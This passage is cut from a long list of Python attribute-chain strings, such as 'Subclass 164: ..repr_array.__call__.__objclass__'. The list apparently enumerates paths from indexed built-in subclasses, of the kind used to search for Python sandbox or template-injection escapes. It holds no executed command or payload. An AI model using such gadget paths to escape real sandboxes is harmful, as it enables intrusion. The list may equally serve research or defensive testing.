"Subclass 164: ..repr_array.__call__.__objclass__", "Subclass 96: ..get_source.__repr__.__self__", "Subclass 109: ..write.__str__.__self__", "Subclass 82: ..__enter__.__new__.__self__", "Subclass 107: ..setstate.__str__.__self__", "Subclass 136: ..__call__.__init__.__self__", "Subclass 94: ..contents.__ge__.__self__", "Subclass 104: ..__repr__.__delattr__.__self__", "Subclass 133: ..__enter__.__reduce_ex__.__self__", "Subclass 95: ..__iter__.__setattr__.__self__", "Subclass 177: ..pop_all.__hash__.__self__", "Subclass 185: ..getwhile.__getattribute__.__self__", "Subclass 104: ..is_package.__class__", "Subclass 133: ..__iter__.__hash__.__self__", "Subclass 164: ..__init__.__call__.__objclass__", "Subclass 115: ..__await__.__gt__.__self__", "Subclass 107: ..getstate.__init_subclass__.__self__", "Subclass 94: ..is_resource.__getattribute__.__self__", "Subclass 175: ..__call__.__sizeof__.__self__", "Subclass 133: ..__exit__.__get__.__self__", "Subclass 109: ..__enter__.__getattribute__.__self__", "Subclass 185: ..error.__get__.__objclass__", "Subclass 184: ..insert.__init__.__self__", "Subclass 173: ..__init__.__setattr__.__self__", "Subclass 135: ..__init__.__call__.__self__", "Subclass 164: ..repr_array.__repr__.__objclass__", "Subclass 184: ..dump.__eq__.__self__", "Subclass 185: ..seek.__eq__.__self__", "Subclass 95: .._find_parent_path_names.__ge__.__self__", "Subclass 110: ..__enter__.__init_subclass__.__self__", "Subclass 110: ..__iter__.__sizeof__.__self__", "Subclass 86: ..exec_module.__ne__.__self__", "Subclass 174: ..__init__.__get__.__objclass__", "Subclass 132: ..__call__.__call__.__objclass__", "Subclass 185: ..match.__delattr__.__self__", "Subclass 107: ..reset.__class__", "Subclass 183: ..checklookbehindgroup.__getattribute__.__self__", "Subclass 164: ..repr_frozenset.__subclasshook__.__self__", "Subclass 185: .._Tokenizer__next.__sizeof__.__self__", "Subclass 84: ..module_repr.__format__.__self__", "Subclass 92: .._open_registry.__func__", "Subclass 174: ..__set_name__.__class__", "Subclass 185: ..getuntil.__init_subclass__.__self__", "Subclass 173: ..__get__.__format__.__self__", "Subclass 119: ..__iter__.__call__.__self__", "Subclass 117: ..__class__._abc_caches_clear", "Subclass 94: ..get_filename.__getattribute__.__self__", "Subclass 185: ..__init__.__hash__.__self__", "Subclass 177: ..enter_context.__format__.__self__", "Subclass 109: ..read.__dir__.__self__", "Subclass 94: ..__init__.__class__", "Subclass 173: ..__init_subclass__.__self__.__init__", "Subclass 109: ..__exit__.__setattr__.__self__", "Subclass 81: ..__init__.__str__.__self__", "Subclass 93: ..exec_module.__getattribute__.__self__", "Subclass 185: ..__subclasshook__.__self__.getuntil", "Subclass 189: ..__class_getitem__.__func__.__class__", "Subclass 135: ..__repr__.__hash__.__self__", "Subclass 86: ..module_repr.__repr__.__self__", "Subclass 184: ..__init__.__new__.__self__", "Subclass 139: ..__init__.__call__.__objclass__", "Subclass 83: ..__weakref__.__objclass__.__eq__", "Subclass 174: ..__set_name__.__lt__.__self__", "Subclass 137: ..__get__.__setattr__.__self__", "Subclass 108: ..getstate.__gt__.__self__", "Subclass 131: ..__contains__.__init_subclass__.__self__", "Subclass 138: ..__await__.__reduce_ex__.__self__", "Subclass 105: ..is_resource.__getattribute__.__self__", "Subclass 94: ..__eq__.__class__", "Subclass 86: ..exec_module.__le__.__self__", "Subclass 105: ..open_resource.__le__.__self__", "Subclass 95: ..__init__.__reduce__.__self__", "Subclass 83: ..__repr__.__getattribute__.__self__", "Subclass 135: ..__call__.__ge__.__self__", "Subclass 107: ..reset.__le__.__self__", "Subclass 83: ..__eq__.__init__.__self__", "Subclass 139: ..__str__.__repr__.__objclass__", "Subclass 185: ..getuntil.__delattr__.__self__", "Subclass 93: ..load_module.__getattribute__.__self__", "Subclass 140: ..__exit__.__str__.__self__", "Subclass 137: ..__init__.__lt__.__self__", "Subclass 105: ..open_resource.__get__.__self__", "Subclass 95: ..__contains__", "Subclass 183: ..opengroup.__setattr__.__self__", "Subclass 86: ..module_repr", "Subclass 94: ..__hash__.__new__.__self__", "Subclass 133: ..__subclasshook__.__self__.__exit__", "Subclass 98: ..invalidate_caches.__getattribute__.__self__", "Subclass 104: ..find_loader.__setattr__.__self__", "Subclass 185: .._Tokenizer__next.__ge__.__self__", "Subclass 110: ..write.__ne__.__self__", "Subclass 197: ..find_module.__sizeof__.__self__", "Subclass 184: ..dump.__class__", "Subclass 80: ..acquire.__setattr__.__self__", "Subclass 105: ..__weakref__.__objclass__.resource_path", "Subclass 107: ..encode.__repr__.__self__", "Subclass 93: ..load_module.__new__.__self__", "Subclass 137: ..getter.__hash__.__self__", "Subclass 177: .._create_cb_wrapper.__subclasshook__.__self__", "Subclass 105: ..is_resource.__eq__.__self__", "Subclass 185: ..seek", "Subclass 140: ..__init__.__get__.__self__", "Subclass 109: ..__init__", "Subclass 184: ..__setitem__.__le__.__self__", "Subclass 104: ..is_package.__repr__.__objclass__", "Subclass 188: ..__deepcopy__.__delattr__.__self__", "Subclass 106: ..decode.__getattribute__.__self__", "Subclass 136: ..__subclasshook__.__self__.__call__", "Subclass 93: ..create_module.__getattribute__.__self__", "Subclass 172: ..__get__.__delattr__.__self__", "Subclass 83: ..__eq__.__get__.__self__", "Subclass 105: ..is_resource.__get__.__objclass__", "Subclass 140: ..__enter__", "Subclass 95: ..__iter__.__lt__.__self__", "Subclass 98: ..path_hook.__func__", "Subclass 108: ..__weakref__.__objclass__.__init__", "Subclass 184: ..__repr__.__getattribute__.__self__", "Subclass 137: ..__set__", "Subclass 137: ..setter.__dir__.__self__", "Subclass 95: .._recalculate.__get__.__objclass__", "Subclass 139: ..__weakref__.__objclass__.__str__", "Subclass 83: ..__init__.__delattr__.__self__", "Subclass 172: ..__get__.__reduce_ex__.__self__", "Subclass 177: ..__init__.__init__.__self__", "Subclass 164: ..repr.__str__.__self__", "Subclass 177: .._push_exit_callback.__ge__.__self__", "Subclass 108: ..decode.__init_subclass__.__self__", "Subclass 173: ..__init__.__get__.__self__", "Subclass 80: ..__init_subclass__.__self__.__init__", "Subclass 184: ..__getitem__.__lt__.__self__", "Subclass 185: ..match.__init_subclass__.__self__", "Subclass 133: ..__enter__.__call__.__self__", "Subclass 137: ..getter.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__lt__.__self__", "Subclass 177: .._create_exit_wrapper.__ge__.__self__", "Subclass 94: ..load_module.__str__.__self__", "Subclass 199: ..__weakref__.__objclass__.contents", "Subclass 185: ..match.__reduce_ex__.__self__", "Subclass 87: ..__exit__.__dir__.__self__", "Subclass 138: ..send.__dir__.__self__", "Subclass 185: ..get.__le__.__self__", "Subclass 109: ..seek.__reduce_ex__.__self__", "Subclass 105: ..__init__.__repr__.__self__", "Subclass 196: ..Match.__class__.__call__", "Subclass 133: ..__enter__.__get__.__self__", "Subclass 96: ..module_repr.__self__.create_module", "Subclass 94: ..open_resource.__ge__.__self__", "Subclass 82: ..__enter__.__call__.__self__", "Subclass 98: ..find_spec.__eq__.__self__", "Subclass 110: ..__subclasshook__.__self__.__init__", "Subclass 109: ..writelines.__call__.__self__", "Subclass 172: ..__get__.__get__.__objclass__", "Subclass 138: ..throw.__subclasshook__.__self__", "Subclass 109: ..read.__delattr__.__self__", "Subclass 117: ..__class__._abc_registry_clear", "Subclass 109: ..__weakref__.__objclass__.writelines", "Subclass 93: ..exec_module.__delattr__.__self__", "Subclass 95: .._recalculate.__hash__.__self__", "Subclass 184: ..getwidth.__format__.__self__", "Subclass 174: ..__set_name__.__reduce_ex__.__self__", "Subclass 164: ..repr_str.__get__.__self__", "Subclass 80: ..has_deadlock.__reduce__.__self__", "Subclass 137: ..setter.__str__.__self__", "Subclass 83: ..__eq__.__reduce__.__self__", 'Global func 1: ..__sizeof__.__self__.__class__', "Subclass 104: ..is_package.__subclasshook__.__self__", "Subclass 138: ..throw.__eq__.__self__", "Subclass 97: .._path_importer_cache.__func__.__class__", "Subclass 94: ..load_module.__get__.__self__", "Subclass 110: ..__weakref__.__objclass__.__iter__", "Subclass 98: ..find_spec.__repr__.__self__", "Subclass 183: ..__weakref__.__objclass__.closegroup", "Subclass 94: ..open_resource.__call__.__self__", "Subclass 93: ..is_package.__init_subclass__.__self__", "Subclass 95: .._find_parent_path_names.__setattr__.__self__", "Subclass 140: ..__repr__", "Subclass 135: ..__init__.__init_subclass__.__self__", "Subclass 140: ..__exit__.__gt__.__self__", "Subclass 137: ..__init_subclass__.__self__.setter", "Subclass 198: ..__class__._dump_registry", "Subclass 96: ..create_module.__delattr__.__self__", "Subclass 177: ..callback.__call__.__self__", "Subclass 138: ..__init_subclass__.__self__.__next__", "Subclass 177: ..pop_all.__call__.__self__", "Subclass 109: ..__enter__.__lt__.__self__", "Subclass 95: ..__len__.__reduce__.__self__", "Subclass 80: ..release.__getattribute__.__self__", "Subclass 84: ..module_repr.__init_subclass__.__self__", "Subclass 105: ..resource_path.__call__.__self__", "Subclass 177: .._push_cm_exit.__init_subclass__.__self__", "Subclass 107: ..getstate.__dir__.__self__", "Subclass 164: ..repr_tuple", "Subclass 94: ..open_resource.__delattr__.__self__", "Subclass 185: .._Tokenizer__next.__subclasshook__.__self__", "Subclass 110: ..__weakref__.__objclass__.__enter__", "Subclass 164: ..repr_dict.__get__.__objclass__", "Subclass 164: ..repr_array.__init_subclass__.__self__", "Subclass 137: ..setter.__init_subclass__.__self__", "Subclass 95: ..__setitem__.__format__.__self__", "Subclass 108: ..getstate.__class__", "Subclass 98: ..find_loader.__hash__.__self__", "Subclass 183: ..checklookbehindgroup.__gt__.__self__", "Subclass 95: ..__repr__.__str__.__self__", "Subclass 172: ..__repr__.__reduce_ex__.__self__", "Subclass 104: ..__init__.__get__.__self__", "Subclass 109: ..writelines.__repr__.__self__", "Subclass 94: ..resource_path.__getattribute__.__self__", "Subclass 82: ..__init__.__class__", "Subclass 86: ..exec_module.__getattribute__.__self__", "Subclass 95: ..__getitem__.__ge__.__self__", "Subclass 135: ..__repr__.__reduce__.__self__", "Subclass 134: ..__init__.__format__.__self__", "Subclass 164: ..__init__.__init__.__self__", "Subclass 80: ..__repr__.__lt__.__self__", "Subclass 134: ..__init__.__le__.__self__", "Subclass 198: ..module_repr.__subclasshook__.__self__", "Subclass 115: ..__await__.__getattribute__.__self__", "Subclass 86: ..module_repr.__getattribute__.__self__", "Subclass 108: ..reset.__ne__.__self__", "Subclass 109: ..__iter__.__eq__.__self__", "Subclass 138: ..__iter__.__getattribute__.__self__", "Subclass 135: ..__init__.__get__.__self__", "Subclass 185: ..get.__call__.__objclass__", "Subclass 107: ..setstate.__eq__.__self__", "Subclass 108: ..reset.__call__.__self__", "Subclass 184: ..__repr__.__repr__.__objclass__", "Subclass 199: ..open_resource.__format__.__self__", "Subclass 110: ..__next__.__reduce__.__self__", "Subclass 137: ..__get__.__gt__.__self__", "Subclass 132: ..__class__.__new__", "Subclass 195: ..BinaryIO.read.__class__", "Subclass 80: ..__init__.__new__.__self__", "Subclass 185: ..getuntil.__sizeof__.__self__", "Subclass 108: ..__init__.__repr__.__self__", "Subclass 197: ..find_module.__call__.__self__", "Subclass 199: ..is_resource.__class__", "Subclass 82: ..__init__.__get__.__objclass__", "Subclass 110: ..__subclasshook__.__self__.write", "Subclass 117: ..__aiter__.__class__", "Subclass 109: ..__subclasshook__.__self__.write", "Subclass 109: ..reset.__gt__.__self__", "Subclass 133: ..__getattr__.__class__", "Subclass 177: ..pop_all.__le__.__self__", "Subclass 177: ..push.__init_subclass__.__self__", "Subclass 177: ..__init_subclass__.__self__._create_exit_wrapper", "Subclass 177: .._create_cb_wrapper.__lt__.__self__", "Subclass 184: ..__repr__.__dir__.__self__", "Subclass 108: ..setstate.__repr__.__self__", "Subclass 185: ..__init_subclass__.__self__.match", "Subclass 83: ..__eq__.__format__.__self__", "Subclass 105: ..is_resource.__dir__.__self__", "Subclass 137: ..__weakref__.__objclass__.__delete__", "Subclass 179: ..__class__.__len__", "Subclass 109: ..__getattr__.__gt__.__self__", "Subclass 84: ..find_module.__self__.module_repr", "Subclass 172: ..__repr__.__ge__.__self__", "Subclass 82: ..__init__.__lt__.__self__", "Subclass 138: ..__weakref__.__objclass__.close", "Subclass 188: ..__copy__", "Subclass 199: ..open_resource.__getattribute__.__self__", "Subclass 95: ..__init__.__setattr__.__self__", "Subclass 81: ..__repr__.__init_subclass__.__self__", "Subclass 96: ..load_module.__init__.__self__", "Subclass 104: ..__init__", "Subclass 110: ..__getattr__.__le__.__self__", "Subclass 188: ..__copy__.__class__", "Subclass 164: ..repr_tuple.__getattribute__.__self__", "Subclass 137: ..__delete__.__reduce__.__self__", "Subclass 133: ..__iter__.__lt__.__self__", "Subclass 198: ..module_repr.__getattribute__.__self__", "Subclass 98: ..__init__.__delattr__.__self__", "Subclass 199: ..contents.__get__.__objclass__", "Subclass 105: ..contents.__class__", "Subclass 104: ..load_module.__class__", "Subclass 98: ..__repr__.__le__.__self__", "Subclass 106: ..encode.__call__.__self__", "Subclass 94: ..get_resource_reader.__eq__.__self__", "Subclass 185: ..__subclasshook__.__self__.get", "Subclass 164: ..repr_int.__gt__.__self__", "Subclass 185: ..get.__getattribute__.__self__", "Subclass 104: ..get_filename.__repr__.__objclass__", "Subclass 87: ..__enter__.__delattr__.__self__", "Subclass 164: .._repr_iterable.__init_subclass__.__self__", "Subclass 140: ..__repr__.__subclasshook__.__self__", "Subclass 94: ..__init__.__repr__.__objclass__", "Subclass 188: ..__copy__.__ne__.__self__", "Subclass 198: ..__subclasshook__.__self__.module_repr", "Subclass 86: ..load_module.__self__.module_repr", "Subclass 139: ..__str__.__ne__.__self__", "Subclass 199: ..is_resource.__str__.__self__", "Subclass 109: ..__next__.__le__.__self__", "Subclass 173: ..register.__init__.__self__", "Subclass 107: ..getstate.__eq__.__self__", "Subclass 104: ..find_module.__repr__.__self__", "Subclass 81: ..__repr__.__subclasshook__.__self__", "Subclass 104: ..__init__.__dir__.__self__", "Subclass 174: ..__get__.__sizeof__.__self__", "Subclass 110: ..seek.__ne__.__self__", "Subclass 86: ..find_spec.__func__", "Subclass 94: ..load_module.__setattr__.__self__", "Subclass 110: ..reset.__getattribute__.__self__", "Subclass 134: ..__call__.__init__.__self__", "Subclass 164: ..repr_str.__dir__.__self__", "Subclass 184: ..__init_subclass__.__self__.__setitem__", "Subclass 172: ..__get__.__str__.__self__", "Subclass 133: ..__enter__.__lt__.__self__", "Subclass 93: ..load_module.__hash__.__self__", "Subclass 173: ..__get__.__sizeof__.__self__", "Subclass 140: ..__init__.__setattr__.__self__", "Subclass 133: ..__weakref__.__objclass__.close", "Subclass 94: ..__init__.__reduce__.__self__", "Subclass 177: ..pop_all", "Subclass 135: ..__repr__.__le__.__self__", "Subclass 105: ..__init__.__format__.__self__", "Subclass 174: ..__set_name__.__eq__.__self__", "Subclass 104: ..find_loader.__call__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_array", "Subclass 176: ..__init__.__get__.__self__", "Subclass 179: ..__class__._find_new_", "Subclass 94: ..get_data.__subclasshook__.__self__", "Subclass 138: ..close.__delattr__.__self__", "Subclass 98: ..__init__.__init__.__self__", "Subclass 104: ..get_source.__init__.__self__", "Subclass 105: ..__subclasshook__.__self__.contents", "Subclass 109: ..read.__repr__.__objclass__", "Subclass 95: ..append.__reduce_ex__.__self__", "Subclass 108: ..__init__.__getattribute__.__self__", "Subclass 95: ..__init__.__sizeof__.__self__", "Subclass 195: ..TextIO.isatty.__class__", "Subclass 109: ..reset.__reduce__.__self__", "Subclass 86: ..module_repr.__le__.__self__", "Subclass 137: ..__init__.__call__.__self__", "Subclass 96: ..create_module.__get__.__self__", "Subclass 130: ..__len__", "Subclass 94: ..is_resource.__reduce__.__self__", "Subclass 96: ..__weakref__.__objclass__.create_module", "Subclass 138: ..__await__.__reduce__.__self__", "Subclass 98: ..__weakref__.__objclass__.find_loader", "Subclass 177: ..__weakref__.__objclass__._push_cm_exit", "Subclass 132: ..__class__._abc_caches_clear.__class__", "Subclass 198: ..create_module.__init_subclass__.__self__", "Subclass 109: ..__exit__.__init_subclass__.__self__", "Subclass 109: ..read.__reduce_ex__.__self__", "Subclass 134: ..__init__.__hash__.__self__", "Subclass 133: ..__init__.__ne__.__self__", "Subclass 177: .._push_exit_callback.__lt__.__self__", "Subclass 136: ..__repr__.__call__.__objclass__", "Subclass 105: ..resource_path.__repr__.__self__", "Subclass 164: ..repr_instance.__ge__.__self__", "Subclass 80: ..__init__.__le__.__self__", "Subclass 110: ..readline.__call__.__self__", "Subclass 138: ..__init__.__eq__.__self__", "Subclass 110: ..__subclasshook__.__self__.seek", "Subclass 173: ..__init_subclass__.__self__.register", "Subclass 105: ..is_resource.__call__.__self__", "Subclass 199: ..resource_path.__reduce__.__self__", "Subclass 98: .._get_spec.__repr__.__objclass__", "Subclass 94: ..is_resource.__setattr__.__self__", "Subclass 173: ..register.__repr__.__self__", "Subclass 105: ..open_resource.__get__.__objclass__", "Subclass 131: ..__contains__.__str__.__self__", "Subclass 81: ..__init__", "Subclass 184: ..getwidth.__repr__.__self__", "Subclass 104: ..find_loader.__init_subclass__.__self__", "Subclass 164: ..repr_tuple.__delattr__.__self__", "Subclass 185: ..getwhile.__class__", "Subclass 164: ..__subclasshook__.__self__.repr_tuple", "Subclass 197: ..find_module.__delattr__.__self__", "Subclass 185: .._Tokenizer__next.__format__.__self__", "Subclass 82: ..__exit__.__class__", "Subclass 86: ..exec_module.__subclasshook__.__self__", "Subclass 106: ..decode.__delattr__.__self__", "Subclass 109: ..__init_subclass__.__self__.seek", "Subclass 164: ..__init__.__repr__.__objclass__", "Subclass 109: ..__subclasshook__.__self__.__init__", "Subclass 109: ..__enter__.__setattr__.__self__", "Subclass 135: ..__call__.__dir__.__self__", "Subclass 97: .._legacy_get_spec.__func__", "Subclass 109: ..__iter__.__dir__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_dict", "Subclass 198: ..load_module.__call__.__self__", "Subclass 94: ..get_resource_reader.__sizeof__.__self__", "Subclass 84: ..module_repr.__dir__.__self__", "Subclass 131: ..__class__._dump_registry.__class__", "Subclass 96: ..create_module.__lt__.__self__", "Subclass 173: ..register.__reduce__.__self__", "Subclass 109: ..__next__.__hash__.__self__", "Subclass 110: ..read.__get__.__self__", "Subclass 81: ..acquire.__class__", "Subclass 195: ..BinaryIO.readable", "Subclass 183: ..opengroup.__str__.__self__", "Subclass 184: ..dump.__getattribute__.__self__", "Subclass 104: ..__init__.__call__.__objclass__", "Subclass 177: .._create_cb_wrapper.__dir__.__self__", "Subclass 104: ..__repr__.__get__.__self__", "Subclass 174: ..__set_name__.__ne__.__self__", "Subclass 164: ..repr1.__init__.__self__", "Subclass 198: ..load_module.__eq__.__self__", "Subclass 106: ..encode.__hash__.__self__", "Subclass 115: ..__init_subclass__.__self__.__await__", "Subclass 137: ..getter.__str__.__self__", "Subclass 104: ..get_filename.__dir__.__self__", "Subclass 119: ..__iter__.__reduce_ex__.__self__", "Subclass 140: ..__init__.__delattr__.__self__", "Subclass 98: .._get_spec.__get__.__objclass__", "Subclass 164: ..repr_array.__gt__.__self__", "Subclass 80: ..__repr__.__init_subclass__.__self__", "Subclass 109: ..write.__delattr__.__self__", "Subclass 164: ..repr_instance.__getattribute__.__self__", "Subclass 109: ..__exit__.__ne__.__self__", "Subclass 133: ..__getattr__.__get__.__self__", "Subclass 107: ..encode.__hash__.__self__", "Subclass 184: ..__repr__.__ne__.__self__", "Subclass 138: ..__subclasshook__.__self__.__init__", "Subclass 94: ..get_filename.__class__", "Subclass 199: ..open_resource.__call__.__objclass__", "Subclass 109: ..__init__.__get__.__self__", "Subclass 192: ..__new__.__format__.__self__", "Subclass 164: ..repr_frozenset.__gt__.__self__", 'Global func 1: ..__get__.__objclass__', "Subclass 132: ..__class_getitem__.__self__.__call__", "Subclass 185: ..match.__getattribute__.__self__", "Subclass 183: ..checkgroup.__reduce__.__self__", "Subclass 86: ..module_repr.__lt__.__self__", "Subclass 105: ..resource_path.__str__.__self__", "Subclass 174: ..__set_name__.__repr__.__self__", "Subclass 177: ..pop_all.__reduce_ex__.__self__", "Subclass 198: ..load_module.__str__.__self__", "Subclass 82: ..__exit__.__init__.__self__", "Subclass 94: ..get_filename.__setattr__.__self__", "Subclass 110: ..__subclasshook__.__self__.__enter__", "Subclass 130: ..__class__.__subclasscheck__", "Subclass 110: ..__next__.__setattr__.__self__", "Subclass 115: ..__await__.__get__.__objclass__", "Subclass 174: ..__set_name__.__call__.__self__", "Subclass 184: ..__len__.__class__", "Subclass 164: ..repr_set.__eq__.__self__", "Subclass 96: ..get_code.__hash__.__self__", "Subclass 199: ..resource_path.__format__.__self__", "Subclass 95: ..__len__.__init_subclass__.__self__", "Subclass 80: ..release.__str__.__self__", "Subclass 81: ..__weakref__.__objclass__.acquire", "Subclass 87: ..__enter__.__sizeof__.__self__", "Subclass 96: ..is_package", "Subclass 107: ..encode.__str__.__self__", "Subclass 95: ..__getitem__.__reduce_ex__.__self__", "Subclass 185: ..match.__dir__.__self__", "Subclass 198: ..__class__._abc_registry_clear", "Subclass 95: ..__repr__.__get__.__objclass__", "Subclass 80: ..__init_subclass__.__self__.release", "Subclass 95: .._recalculate.__repr__.__self__", "Subclass 86: ..create_module.__self__.exec_module", "Subclass 197: ..find_module.__dir__.__self__", "Subclass 81: ..__repr__.__str__.__self__", "Subclass 95: ..__setitem__.__repr__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr", "Subclass 105: ..contents.__reduce_ex__.__self__", "Subclass 140: ..__init_subclass__.__self__.__enter__", "Subclass 138: ..__iter__.__gt__.__self__", "Subclass 177: ..callback.__ge__.__self__", "Subclass 84: ..module_repr.__repr__.__objclass__", "Subclass 83: ..__init__.__lt__.__self__", "Subclass 84: ..module_repr.__get__.__self__", "Subclass 135: ..__init__.__repr__.__objclass__", "Subclass 183: ..__init__.__get__.__objclass__", "Subclass 81: ..__weakref__.__objclass__.__repr__", "Subclass 95: ..__iter__.__call__.__objclass__", "Subclass 107: ..encode", "Subclass 107: ..getstate.__repr__.__self__", "Subclass 185: ..tell.__call__.__self__", "Subclass 177: ..pop_all.__str__.__self__", "Subclass 94: ..__weakref__.__objclass__.get_data", "Subclass 98: .._get_spec.__reduce_ex__.__self__", "Subclass 109: ..__next__.__new__.__self__", "Subclass 93: ..create_module", "Subclass 106: ..decode.__format__.__self__", "Subclass 137: ..__get__.__class__", "Subclass 177: ..callback.__delattr__.__self__", "Subclass 185: ..__init__.__repr__.__self__", "Subclass 109: ..write.__subclasshook__.__self__", "Subclass 86: ..get_code.__self__.exec_module", "Subclass 186: ..__init__.__ne__.__self__", "Subclass 137: ..getter.__reduce_ex__.__self__", "Subclass 195: ..IO.close.__class__", "Subclass 110: ..__init__.__class__", "Subclass 172: ..__get__.__call__.__self__", "Subclass 94: ..get_data.__repr__.__self__", "Subclass 177: .._push_exit_callback.__getattribute__.__self__", "Subclass 110: ..__init_subclass__.__self__.read", "Subclass 137: ..__delete__.__reduce_ex__.__self__", "Subclass 115: ..__await__.__eq__.__self__", "Subclass 185: ..get.__init__.__self__", "Subclass 164: ..__init__.__reduce_ex__.__self__", "Subclass 97: ..find_distributions.__func__.__class__", "Subclass 110: ..readlines.__reduce_ex__.__self__", "Subclass 95: ..__len__.__repr__.__self__", "Subclass 110: ..__subclasshook__.__self__.__next__", "Subclass 110: ..readline.__getattribute__.__self__", "Subclass 83: ..__eq__.__call__.__self__", "Subclass 87: ..__exit__.__call__.__objclass__", "Subclass 133: ..__enter__.__eq__.__self__", "Subclass 87: ..__enter__.__dir__.__self__", "Subclass 94: ..__hash__.__init_subclass__.__self__", "Subclass 173: ..__init__.__format__.__self__", "Subclass 105: ..resource_path.__setattr__.__self__", "Subclass 94: ..contents", "Subclass 185: ..getwhile.__hash__.__self__", "Subclass 108: ..__init__.__dir__.__self__", "Subclass 98: .._get_spec.__init__.__self__", "Subclass 108: ..reset.__sizeof__.__self__", "Subclass 105: ..__init__.__reduce__.__self__", "Subclass 95: .._recalculate.__init_subclass__.__self__", "Subclass 98: ..__subclasshook__.__self__.find_module", "Subclass 80: ..__repr__.__get__.__self__", "Subclass 198: ..load_module.__lt__.__self__", "Subclass 174: ..__weakref__.__objclass__.__set_name__", "Subclass 108: ..__subclasshook__.__self__.__init__", "Subclass 104: ..get_filename.__get__.__objclass__", "Subclass 199: ..is_resource.__reduce__.__self__", "Subclass 184: ..append.__gt__.__self__", "Subclass 133: ..__weakref__.__objclass__.__iter__", "Subclass 109: ..__init__.__hash__.__self__", "Subclass 183: ..checklookbehindgroup.__dir__.__self__", "Subclass 138: ..send.__le__.__self__", "Subclass 96: ..__init_subclass__.__self__.is_package", "Subclass 185: ..getuntil.__str__.__self__", "Subclass 173: ..__get__.__hash__.__self__", "Subclass 175: .._recreate_cm.__reduce__.__self__", "Subclass 110: ..write.__get__.__objclass__", "Subclass 80: ..__repr__.__new__.__self__", "Subclass 109: ..__weakref__.__objclass__.readline", "Subclass 133: ..close", "Subclass 96: ..__init__.__hash__.__self__", "Subclass 94: ..contents.__le__.__self__", "Subclass 112: ..__class__.__subclasscheck__", "Subclass 95: ..__getitem__.__str__.__self__", "Subclass 173: ..__init__.__reduce_ex__.__self__", "Subclass 95: ..__init__.__eq__.__self__", "Subclass 164: ..repr_deque.__format__.__self__", "Subclass 117: ..__class_getitem__.__self__.__aiter__", "Subclass 95: .._get_parent_path.__subclasshook__.__self__", "Subclass 110: ..__init_subclass__.__self__.__enter__", "Subclass 95: ..__init__.__format__.__self__", "Subclass 135: .._Printer__setup.__lt__.__self__", "Subclass 173: ..__get__", "Subclass 189: ..__class_getitem__.__func__", "Subclass 138: ..__init__.__init__.__self__", "Subclass 98: ..find_module.__get__.__objclass__", "Subclass 174: ..__init__.__init_subclass__.__self__", "Subclass 195: ..BinaryIO.write.__class__", "Subclass 135: ..__init__.__getattribute__.__self__", "Subclass 93: ..__init_subclass__.__self__.exec_module", "Subclass 94: ..open_resource.__dir__.__self__", "Subclass 132: ..__class__.__subclasscheck__.__class__", "Subclass 95: ..__setitem__.__delattr__.__self__", "Subclass 135: ..__call__.__lt__.__self__", "Subclass 164: ..repr_instance.__dir__.__self__", "Subclass 108: ..__init__.__call__.__self__", "Subclass 131: ..__contains__.__class__", "Subclass 110: ..readline.__delattr__.__self__", "Subclass 137: ..__init__.__init_subclass__.__self__", "Subclass 199: ..resource_path.__dir__.__self__", "Subclass 140: ..__init__.__getattribute__.__self__", "Subclass 110: ..writelines.__reduce__.__self__", "Subclass 133: ..__exit__.__class__", "Subclass 94: ..load_module.__sizeof__.__self__", "Subclass 164: ..repr_deque.__eq__.__self__", "Subclass 175: ..__call__.__new__.__self__", "Subclass 164: ..repr_int.__delattr__.__self__", "Subclass 177: .._create_exit_wrapper.__ne__.__self__", "Subclass 96: ..exec_module.__sizeof__.__self__", "Subclass 96: ..get_code", "Subclass 184: ..__getitem__.__init__.__self__", "Subclass 95: .._find_parent_path_names.__sizeof__.__self__", "Subclass 86: ..exec_module.__format__.__self__", "Subclass 95: ..__repr__.__setattr__.__self__", "Subclass 184: ..append.__get__.__objclass__", "Subclass 95: .._find_parent_path_names.__getattribute__.__self__", "Subclass 134: ..__repr__.__call__.__objclass__", "Subclass 105: ..open_resource.__dir__.__self__", "Subclass 130: ..__len__.__init_subclass__.__self__", "Subclass 94: ..get_filename.__reduce__.__self__", "Subclass 138: ..__iter__.__sizeof__.__self__", "Subclass 195: ..IO.truncate.__class__", "Subclass 164: ..repr_list.__reduce_ex__.__self__", "Subclass 80: ..has_deadlock.__ne__.__self__", "Subclass 110: ..__next__.__gt__.__self__", "Subclass 184: ..__getitem__.__ge__.__self__", "Subclass 174: ..__get__.__ge__.__self__", "Subclass 177: ..pop_all.__get__.__objclass__", "Subclass 110: ..seek.__subclasshook__.__self__", "Subclass 177: ..push.__eq__.__self__", "Subclass 174: ..__get__.__init_subclass__.__self__", "Subclass 94: ..get_data.__ne__.__self__", "Subclass 110: ..writelines.__delattr__.__self__", "Subclass 94: ..load_module.__eq__.__self__", "Subclass 115: ..__await__.__delattr__.__self__", "Subclass 96: ..exec_module.__repr__.__self__", "Subclass 176: ..__init__.__repr__.__objclass__", "Subclass 95: .._find_parent_path_names.__init_subclass__.__self__", "Subclass 197: ..__class__._dump_registry.__class__", "Subclass 109: ..__exit__.__repr__.__objclass__", "Subclass 136: ..__call__.__ge__.__self__", "Subclass 199: ..__class__._abc_registry_clear", "Subclass 110: ..__weakref__.__objclass__.__exit__", "Subclass 131: ..__contains__.__sizeof__.__self__", "Subclass 81: ..__init__.__dir__.__self__", "Subclass 172: .._make_unbound_method.__init_subclass__.__self__", "Subclass 105: ..resource_path", "Subclass 195: ..TextIO.tell.__class__", "Subclass 188: ..__copy__.__call__.__self__", "Subclass 108: ..__subclasshook__.__self__.reset", "Subclass 94: ..__init__.__lt__.__self__", "Subclass 133: ..__iter__.__eq__.__self__", "Subclass 199: ..open_resource.__le__.__self__", "Subclass 95: ..__init__.__repr__.__self__", "Subclass 110: ..__getattr__.__str__.__self__", "Subclass 105: ..resource_path.__class__", "Subclass 133: ..__init__.__init_subclass__.__self__", "Subclass 188: ..__deepcopy__.__dir__.__self__", "Subclass 84: ..module_repr.__reduce_ex__.__self__", "Subclass 96: ..get_code.__ne__.__self__", 'Global func 1: ..__format__.__self__.__class__', "Subclass 139: ..__init__.__class__", "Subclass 83: ..__eq__.__hash__.__self__", 'Global func 1: ..__repr__.__self__.__class__', "Subclass 95: ..__len__.__delattr__.__self__", "Subclass 198: ..create_module.__getattribute__.__self__", "Subclass 108: ..setstate.__hash__.__self__", "Subclass 104: ..__repr__.__call__.__self__", "Subclass 138: ..throw.__dir__.__self__", "Subclass 195: 